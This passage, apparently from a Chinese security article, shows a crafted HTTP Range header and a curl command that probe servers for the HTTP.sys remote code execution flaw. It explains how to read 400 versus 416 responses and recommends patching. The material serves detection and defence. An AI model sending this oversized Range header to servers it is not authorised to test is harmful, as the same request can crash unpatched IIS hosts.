Host: stuff
Range: bytes=0-18446744073709551615

或者:

1
curl -v www.test.com -H "Host: irrelevant" -H "Range: bytes=0-18446744073709551615"

服务器响应 400,证明不存在HTTP.sys远程代码执行漏洞

HTTP Error 400. The request has an invalid header name.

服务器响应 416,则证明存在该漏洞

1
2
3
4
5
HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Last-Modified: Thu, 22 Aug 2013 23:53:12 GMT
Accept-Ranges: bytes
ETag: "2edebc2929fce1:0"

漏洞修复建议:

升级安全补丁